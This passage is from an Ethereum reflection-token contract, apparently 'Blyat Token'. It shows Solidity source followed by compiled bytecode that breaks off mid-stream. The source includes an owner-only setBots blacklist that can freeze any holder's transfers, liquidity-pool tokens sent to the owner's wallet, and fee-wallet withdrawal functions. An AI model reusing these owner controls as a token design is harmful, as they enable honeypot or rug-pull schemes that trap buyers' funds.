path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f426c79617420546f6b656e000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f424c594154efb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673f